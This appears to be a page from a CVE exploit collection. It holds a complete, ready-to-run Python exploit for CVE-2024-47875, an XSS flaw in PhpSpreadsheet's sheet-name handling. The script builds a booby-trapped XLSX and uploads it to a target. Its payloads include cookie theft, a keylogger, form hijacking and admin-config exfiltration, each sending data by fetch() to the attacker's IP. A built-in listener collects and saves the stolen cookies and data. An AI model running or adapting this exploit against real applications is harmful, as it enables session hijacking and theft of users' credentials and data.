4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / exploit.py PY
#!/usr/bin/env python3
"""
CVE-2024-47875 PhpSpreadsheet XSS Exploit
==========================================

Cross-Site Scripting vulnerability in PhpSpreadsheet's generateNavigation() function
Affects: PhpSpreadsheet < 2.2.2, < 2.1.2, < 1.29.4
CVE ID: CVE-2024-47875
GitHub Advisory: GHSA-79xx-vf93-p7cx

Description:
When converting XLSX files with multiple sheets to HTML, PhpSpreadsheet creates
a navigation menu using unsanitized sheet names, allowing XSS injection.

Author: Your Name
License: MIT
Repository: https://github.com/yourusername/CVE-2024-47875-exploit
"""

import os
import sys
import zipfile
import tempfile
import shutil
import requests
import threading
import time
from pathlib import Path
import http.server
import socketserver
from urllib.parse import parse_qs, urlparse
import datetime
import argparse
import json
import logging

__version__ = "1.0.0"
__author__ = "Roj"

# Configure logging
logging.basicConfig(
    level=logging.INFO,
    format='%(asctime)s - %(levelname)s - %(message)s'
)
logger = logging.getLogger(__name__)

class Colors:
    """Terminal color constants for better output visibility."""
    RED = '\033[91m'
    GREEN = '\033[92m'
    YELLOW = '\033[93m'
    BLUE = '\033[94m'
    MAGENTA = '\033[95m'
    CYAN = '\033[96m'
    WHITE = '\033[97m'
    BOLD = '\033[1m'
    RESET = '\033[0m'

class CVE202447875Exploit:
    """
    CVE-2024-47875 PhpSpreadsheet XSS Exploit
    
    This class provides functionality to generate malicious XLSX files
    and exploit the XSS vulnerability in PhpSpreadsheet's sheet name handling.
    """
    
    def __init__(self, target_url, attacker_ip, attacker_port=8000):
        """
        Initialize the exploit with target and attacker details.
        
        Args:
            target_url (str): Target application URL
            attacker_ip (str): Attacker's IP for callbacks
            attacker_port (int): Port for exploit server
        """
        self.target_url = target_url.rstrip('/')
        self.attacker_ip = attacker_ip
        self.attacker_port = attacker_port
        self.temp_dir = None
        self.server = None
        self.server_thread = None
        self.cookies_captured = []
        self.data_captured = []

    def print_banner(self):
        """Display exploit banner with vulnerability information."""
        banner = f"""
{Colors.RED}{Colors.BOLD}
╔══════════════════════════════════════════════════════════════════════╗
║                         CVE-2024-47875 Exploit                      ║
║                  PhpSpreadsheet XSS via Sheet Names                 ║
║                        GHSA-79xx-vf93-p7cx                          ║
╚══════════════════════════════════════════════════════════════════════╝
{Colors.RESET}
{Colors.YELLOW}Target URL:{Colors.WHITE} {self.target_url}
{Colors.YELLOW}Attacker IP:{Colors.WHITE} {self.attacker_ip}:{self.attacker_port}
{Colors.YELLOW}Vulnerability:{Colors.WHITE} Unsanitized sheet names in HTML conversion
{Colors.YELLOW}Affected Versions:{Colors.WHITE} PhpSpreadsheet < 2.2.2, < 2.1.2, < 1.29.4
{Colors.RESET}
"""
        print(banner)

    def create_malicious_xlsx(self, payload_type="cookie_theft", custom_payload=None):
        """
        Create a malicious XLSX file with XSS payload embedded in sheet name.
        
        Args:
            payload_type (str): Type of payload to inject
            custom_payload (str): Custom XSS payload if provided
            
        Returns:
            str: Path to the created malicious XLSX file
        """
        logger.info("Creating malicious XLSX file")
        
        # Create temporary directory
        self.temp_dir = tempfile.mkdtemp(prefix="cve_2024_47875_")
        
        # Define XSS payloads
        payloads = {
            "cookie_theft": f"<script>fetch('http://{self.attacker_ip}:{self.attacker_port}/steal?cookies='+encodeURIComponent(document.cookie))</script>",
            "redirect": f"<script>window.location='http://{self.attacker_ip}:{self.attacker_port}/pwned'</script>",
            "alert": "<script>alert('XSS via CVE-2024-47875 - PhpSpreadsheet')</script>",
            "keylogger": f"<script>document.addEventListener('keydown',function(e){{fetch('http://{self.attacker_ip}:{self.attacker_port}/keylog?key='+e.key)}})</script>",
            "form_hijack": f"<script>document.querySelectorAll('form').forEach(f=>{{f.addEventListener('submit',function(e){{e.preventDefault();fetch('http://{self.attacker_ip}:{self.attacker_port}/harvest',{{method:'POST',body:new FormData(f)}})}})}})</script>",
            "data_exfil": f"<script>fetch('/admin/config').then(r=>r.text()).then(d=>fetch('http://{self.attacker_ip}:{self.attacker_port}/exfil',{{method:'POST',body:d}}))</script>"
        }
        
        # Use custom payload or predefined one
        if custom_payload:
            xss_payload = custom_payload
            logger.info(f"Using custom payload: {custom_payload[:50]}...")
        else:
            xss_payload = payloads.get(payload_type, payloads["cookie_theft"])
            logger.info(f"Using {payload_type} payload")
        
        # XLSX file structure components
        content_types = '''<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types">
    <Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/>
    <Default Extension="xml" ContentType="application/xml"/>
    <Override PartName="/xl/workbook.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.main+xml"/>
    <Override PartName="/xl/worksheets/sheet1.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.worksheet+xml"/>
    <Override PartName="/xl/worksheets/sheet2.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.worksheet+xml"/>
    <Override PartName="/xl/styles.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.styles+xml"/>
    <Override PartName="/docProps/core.xml" ContentType="application/vnd.openxmlformats-package.core-properties+xml"/>
    <Override PartName="/docProps/app.xml" ContentType="application/vnd.openxmlformats-officedocument.extended-properties+xml"/>
</Types>'''

        main_rels = '''<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">
    <Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument" Target="xl/workbook.xml"/>
    <Relationship Id="rId2" Type="http://schemas.openxmlformats.org/package/2006/relationships/metadata/core-properties" Target="docProps/core.xml"/>
    <Relationship Id="rId3" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/extended-properties" Target="docProps/app.xml"/>
</Relationships>'''

        workbook_rels = '''<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">
    <Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/styles" Target="styles.xml"/>
    <Relationship Id="rId2" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/worksheet" Target="worksheets/sheet1.xml"/>
    <Relationship Id="rId3" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/worksheet" Target="worksheets/sheet2.xml"/>
</Relationships>'''

        # Malicious workbook.xml with XSS payload in sheet name
        workbook = f'''<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<workbook xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships">
    <fileVersion appName="xl" lastEdited="7"/>
    <workbookPr defaultThemeVersion="166925"/>
    <sheets>
        <sheet name="{xss_payload}" sheetId="1" r:id="rId2"/>
        <sheet name="LegitimateSheet" sheetId="2" r:id="rId3"/>
    </sheets>
</workbook>'''

        worksheet = '''<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<worksheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main">
    <dimension ref="A1:B2"/>
    <sheetViews>
        <sheetView tabSelected="1" workbookViewId="0"/>
    </sheetViews>
    <sheetFormatPr defaultRowHeight="15"/>
    <sheetData>
        <row r="1" spans="1:2">
            <c r="A1" t="inlineStr"><is><t>Sample</t></is></c>
            <c r="B1" t="inlineStr"><is><t>Data</t></is></c>
        </row>
        <row r="2" spans="1:2">
            <c r="A2" t="inlineStr"><is><t>CVE</t></is></c>
            <c r="B2" t="inlineStr"><is><t>2024-47875</t></is></c>
        </row>
    </sheetData>
</worksheet>'''

        styles = '''<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<styleSheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main">
    <fonts count="1">
        <font><sz val="11"/><color theme="1"/><name val="Calibri"/><family val="2"/><scheme val="minor"/></font>
    </fonts>
    <fills count="2">
        <fill><patternFill patternType="none"/></fill>
        <fill><patternFill patternType="gray125"/></fill>
    </fills>
    <borders count="1">
        <border><left/><right/><top/><bottom/><diagonal/></border>
    </borders>
    <cellStyleXfs count="1">
        <xf numFmtId="0" fontId="0" fillId="0" borderId="0"/>
    </cellStyleXfs>
    <cellXfs count="1">
        <xf numFmtId="0" fontId="0" fillId="0" borderId="0" xfId="0"/>
    </cellXfs>
</styleSheet>'''

        core_props = f'''<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<cp:coreProperties xmlns:cp="http://schemas.openxmlformats.org/package/2006/metadata/core-properties" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:dcterms="http://purl.org/dc/terms/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
    <dc:creator>CVE-2024-47875 Exploit</dc:creator>
    <dcterms:created xsi:type="dcterms:W3CDTF">{datetime.datetime.now().strftime("%Y-%m-%dT%H:%M:%SZ")}</dcterms:created>
    <dcterms:modified xsi:type="dcterms:W3CDTF">{datetime.datetime.now().strftime("%Y-%m-%dT%H:%M:%SZ")}</dcterms:modified>
</cp:coreProperties>'''

        app_props = '''<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Properties xmlns="http://schemas.openxmlformats.org/officeDocument/2006/extended-properties" xmlns:vt="http://schemas.openxmlformats.org/officeDocument/2006/docPropsVTypes">
    <Application>CVE-2024-47875 Exploit Generator</Application>
    <DocSecurity>0</DocSecurity>
    <ScaleCrop>false</ScaleCrop>
    <SharedDoc>false</SharedDoc>
</Properties>'''

        # Create directory structure
        directories = ["_rels", "docProps", "xl/_rels", "xl/worksheets"]
        for directory in directories:
            os.makedirs(os.path.join(self.temp_dir, directory), exist_ok=True)

        # Write all files
        files = {
            "[Content_Types].xml": content_types,
            "_rels/.rels": main_rels,
            "docProps/core.xml": core_props,
            "docProps/app.xml": app_props,
            "xl/_rels/workbook.xml.rels": workbook_rels,
            "xl/workbook.xml": workbook,
            "xl/worksheets/sheet1.xml": worksheet,
            "xl/worksheets/sheet2.xml": worksheet,
            "xl/styles.xml": styles
        }

        for filename, content in files.items():
            filepath = os.path.join(self.temp_dir, filename)
            with open(filepath, 'w', encoding='utf-8') as f:
                f.write(content)

        # Create XLSX file
        output_file = f"CVE-2024-47875-exploit-{datetime.datetime.now().strftime('%Y%m%d-%H%M%S')}.xlsx"
        
        try:
            with zipfile.ZipFile(output_file, 'w', zipfile.ZIP_DEFLATED) as zipf:
                for root, dirs, files in os.walk(self.temp_dir):
                    for file in files:
                        file_path = os.path.join(root, file)
                        arc_path = os.path.relpath(file_path, self.temp_dir)
                        zipf.write(file_path, arc_path)
            
            logger.info(f"Malicious XLSX created: {output_file}")
            print(f"{Colors.GREEN}   ✓ Malicious XLSX created: {output_file}{Colors.RESET}")
            return output_file
            
        except Exception as e:
            logger.error(f"Failed to create XLSX: {e}")
            raise

    class ExploitHTTPHandler(http.server.SimpleHTTPRequestHandler):
        """Custom HTTP handler to capture exploit data."""
        
        def __init__(self, *args, exploit_instance=None, **kwargs):
            self.exploit = exploit_instance
            super().__init__(*args, **kwargs)

        def do_GET(self):
            self._handle_request()

        def do_POST(self):
            self._handle_request()

        def _handle_request(self):
            """Handle both GET and POST requests for exploit data."""
            parsed_url = urlparse(self.path)
            query_params = parse_qs(parsed_url.query)
            timestamp = datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S")
            client_ip = self.client_address[0]

            # Handle different exploit endpoints
            if parsed_url.path == '/steal':
                cookies = query_params.get('cookies', [''])[0]
                if cookies:
                    print(f"\n{Colors.GREEN}{Colors.BOLD}🍪 COOKIES STOLEN! 🍪{Colors.RESET}")
                    print(f"{Colors.CYAN}Time:{Colors.WHITE} {timestamp}")
                    print(f"{Colors.CYAN}Source IP:{Colors.WHITE} {client_ip}")
                    print(f"{Colors.CYAN}Cookies:{Colors.WHITE} {cookies}")
                    print(f"{Colors.YELLOW}{'='*60}{Colors.RESET}")
                    
                    if self.exploit:
                        self.exploit.cookies_captured.append({
                            'timestamp': timestamp,
                            'ip': client_ip,
                            'cookies': cookies
                        })

            elif parsed_url.path == '/keylog':
                key = query_params.get('key', [''])[0]
                print(f"{Colors.YELLOW}[KEYLOG]{Colors.RESET} {client_ip}: {key}")

            elif parsed_url.path == '/pwned':
                print(f"{Colors.MAGENTA}[REDIRECT]{Colors.WHITE} User {client_ip} redirected to attacker site{Colors.RESET}")

            elif parsed_url.path == '/harvest':
                print(f"{Colors.RED}[FORM DATA]{Colors.WHITE} Form submitted from {client_ip}{Colors.RESET}")
                if self.command == 'POST':
                    content_length = int(self.headers.get('Content-Length', 0))
                    post_data = self.rfile.read(content_length)
                    print(f"Data: {post_data.decode('utf-8', errors='ignore')[:200]}...")

            elif parsed_url.path == '/exfil':
                print(f"{Colors.RED}[DATA EXFIL]{Colors.WHITE} Data exfiltrated from {client_ip}{Colors.RESET}")
                if self.command == 'POST':
                    content_length = int(self.headers.get('Content-Length', 0))
                    exfil_data = self.rfile.read(content_length)
                    print(f"Exfiltrated: {exfil_data.decode('utf-8', errors='ignore')[:200]}...")

            # Send response
            self.send_response(200)
            self.send_header('Content-type', 'application/json')
            self.send_header('Access-Control-Allow-Origin', '*')
            self.send_header('Access-Control-Allow-Methods', 'GET, POST, OPTIONS')
            self.send_header('Access-Control-Allow-Headers', 'Content-Type')
            self.end_headers()
            
            response_data = json.dumps({
                'status': 'success',
                'message': 'CVE-2024-47875 exploit server',
                'timestamp': timestamp
            })
            self.wfile.write(response_data.encode())

        def log_message(self, format, *args):
            """Suppress default logging to keep output clean."""
            pass

    def start_exploit_server(self):
        """Start HTTP server to capture exploit callbacks."""
        logger.info("Starting exploit server")
        
        try:
            def handler_wrapper(*args, **kwargs):
                return self.ExploitHTTPHandler(*args, exploit_instance=self, **kwargs)
                
            self.server = socketserver.TCPServer(("", self.attacker_port), handler_wrapper)
            self.server_thread = threading.Thread(target=self.server.serve_forever)
            self.server_thread.daemon = True
            self.server_thread.start()
            
            print(f"{Colors.GREEN}   ✓ Exploit server listening on {self.attacker_ip}:{self.attacker_port}{Colors.RESET}")
            logger.info(f"Server started on port {self.attacker_port}")
            return True
            
        except Exception as e:
            logger.error(f"Failed to start server: {e}")
            print(f"{Colors.RED}   ✗ Failed to start server: {e}{Colors.RESET}")
            return False

    def upload_file(self, xlsx_file, upload_endpoint="/upload"):
        """
        Upload malicious XLSX to target application.
        
        Args:
            xlsx_file (str): Path to malicious XLSX file
            upload_endpoint (str): Upload endpoint on target
            
        Returns:
            bool: True if upload successful
        """
        logger.info(f"Uploading {xlsx_file} to {self.target_url}{upload_endpoint}")
        
        try:
            with open(xlsx_file, 'rb') as f:
                files = {
                    'file': (xlsx_file, f, 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet')
                }
                
                upload_url = f"{self.target_url}{upload_endpoint}"
                response = requests.post(
                    upload_url, 
                    files=files, 
                    timeout=30,
                    headers={'User-Agent': 'CVE-2024-47875-Exploit/1.0'}
                )
                
                if response.status_code in [200, 201, 202]:
                    print(f"{Colors.GREEN}   ✓ File uploaded successfully (Status: {response.status_code}){Colors.RESET}")
                    logger.info(f"Upload successful: {response.status_code}")
                    
                    # Check if XSS payload is immediately visible
                    if '<script>' in response.text:
                        print(f"{Colors.YELLOW}   ! XSS payload detected in immediate response{Colors.RESET}")
                    
                    return True
                else:
                    print(f"{Colors.RED}   ✗ Upload failed (Status: {response.status_code}){Colors.RESET}")
                    print(f"   Response: {response.text[:300]}...")
                    logger.error(f"Upload failed: {response.status_code}")
                    
        except requests.RequestException as e:
            logger.error(f"Upload request failed: {e}")
            print(f"{Colors.RED}   ✗ Upload request failed: {e}{Colors.RESET}")
        except Exception as e:
            logger.error(f"Unexpected upload error: {e}")
            print(f"{Colors.RED}   ✗ Unexpected error: {e}{Colors.RESET}")
            
        return False

    def run_exploit(self, payload_type="cookie_theft", upload_endpoint="/upload", custom_payload=None):
        """
        Execute the complete CVE-2024-47875 exploit.
        
        Args:
            payload_type (str): Type of XSS payload to use
            upload_endpoint (str): Target upload endpoint
            custom_payload (str): Custom XSS payload
            
        Returns:
            bool: True if exploit executed successfully
        """
        self.print_banner()
        logger.info("Starting CVE-2024-47875 exploit execution")
        
        try:
            # Step 1: Create malicious XLSX
            print(f"{Colors.BLUE}[1]{Colors.RESET} Creating malicious XLSX file...")
            xlsx_file = self.create_malicious_xlsx(payload_type, custom_payload)
            
            # Step 2: Start exploit server
            print(f"{Colors.BLUE}[2]{Colors.RESET} Starting exploit server...")
            if not self.start_exploit_server():
                return False
            
            # Step 3: Upload malicious file
            print(f"{Colors.BLUE}[3]{Colors.RESET} Uploading malicious XLSX...")
            success = self.upload_file(xlsx_file, upload_endpoint)
            
            if success:
                print(f"\n{Colors.GREEN}{Colors.BOLD}🚀 EXPLOIT DEPLOYED SUCCESSFULLY! 🚀{Colors.RESET}")
                print(f"{Colors.CYAN}Malicious XLSX uploaded and ready to trigger XSS{Colors.RESET}")
                print(f"{Colors.YELLOW}XSS will execute when PhpSpreadsheet processes the file{Colors.RESET}")
                print(f"{Colors.WHITE}Monitoring for callbacks... (Press Ctrl+C to stop){Colors.RESET}\n")
                
                try:
                    while True:
                        time.sleep(1)
                except KeyboardInterrupt:
                    print(f"\n{Colors.YELLOW}Stopping exploit monitoring...{Colors.RESET}")
            else:
                print(f"\n{Colors.RED}✗ Exploit deployment failed{Colors.RESET}")
                logger.error("Exploit deployment failed")
            
            return success
            
        except Exception as e:
            logger.error(f"Exploit execution failed: {e}")
            print(f"{Colors.RED}✗ Exploit execution failed: {e}{Colors.RESET}")
            return False
            
        finally:
            self.cleanup()

    def cleanup(self):
        """Clean up resources and temporary files."""
        logger.info("Cleaning up resources")
        
        if self.server:
            self.server.shutdown()
            self.server.server_close()
            
        if self.temp_dir and os.path.exists(self.temp_dir):
            shutil.rmtree(self.temp_dir)
            
        if self.cookies_captured:
            print(f"\n{Colors.GREEN}📊 EXPLOITATION SUMMARY:{Colors.RESET}")
            print(f"Total cookies captured: {len(self.cookies_captured)}")
            
            # Save results to file
            results_file = f"exploit-results-{datetime.datetime.now().strftime('%Y%m%d-%H%M%S')}.json"
            with open(results_file, 'w') as f:
                json.dump(self.cookies_captured, f, indent=2)
            print(f"Results saved to: {results_file}")

def main():
    """Main entry point for the exploit."""
    parser = argparse.ArgumentParser(
        description="CVE-2024-47875 PhpSpreadsheet XSS Exploit",
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog="""
Examples:
  %(prog)s http://target.com 10.10.14.100
  %(prog)s http://vulnerable-app.htb 10.10.16.50 -p cookie_theft
  %(prog)s https://app.example.com 192.168.1.100 -e /api/upload
  %(prog)s http://target.com 10.10.14.100 --custom "<script>alert('XSS')</script>"

Payload Types:
  cookie_theft  - Steal session cookies (default)
  redirect      - Redirect users to attacker site
  alert         - Simple alert popup for testing
  keylogger     - Log keystrokes
  form_hijack   - Intercept form submissions
  data_exfil    - Exfiltrate data from /admin/config

For more information: https://github.com/yourusername/CVE-2024-47875-exploit
        """
    )
    
    parser.add_argument('target_url', help='Target application URL')
    parser.add_argument('attacker_ip', help='Your IP address for exploit callbacks')
    parser.add_argument('-p', '--payload', 
                       choices=['cookie_theft', 'redirect', 'alert', 'keylogger', 'form_hijack', 'data_exfil'],
                       default='cookie_theft',
                       help='XSS payload type (default: cookie_theft)')
    parser.add_argument('-e', '--endpoint', default='/upload',
                       help='Upload endpoint path (default: /upload)')
    parser.add_argument('--port', type=int, default=8000,
                       help='Exploit server port (default: 8000)')
    parser.add_argument('--custom', help='Custom XSS payload')
    parser.add_argument('-v', '--verbose', action='store_true',
                       help='Enable verbose logging')
    parser.add_argument('--version', action='version', version=f'%(prog)s {__version__}')
    
    args = parser.parse_args()
    
    if args.verbose:
        logging.getLogger().setLevel(logging.DEBUG)
    
    # Validate inputs
    if not args.target_url.startswith(('http://', 'https://')):
        print(f"{Colors.RED}Error: Target URL must start with http:// or https://{Colors.RESET}")
        sys.exit(1)
    
    # Create and run exploit
    try:
        exploit = CVE202447875Exploit(args.target_url, args.attacker_ip, args.port)
        success = exploit.run_exploit(args.payload, args.endpoint, args.custom)
        sys.exit(0 if success else 1)
        
    except KeyboardInterrupt:
        print(f"\n{Colors.YELLOW}Exploit interrupted by user{Colors.RESET}")
        sys.exit(1)
    except Exception as e:
        logger.error(f"Unexpected error: {e}")
        print(f"{Colors.RED}Unexpected error: {e}{Colors.RESET}")
        sys.exit(1)

if __name__ == "__main__":
    main()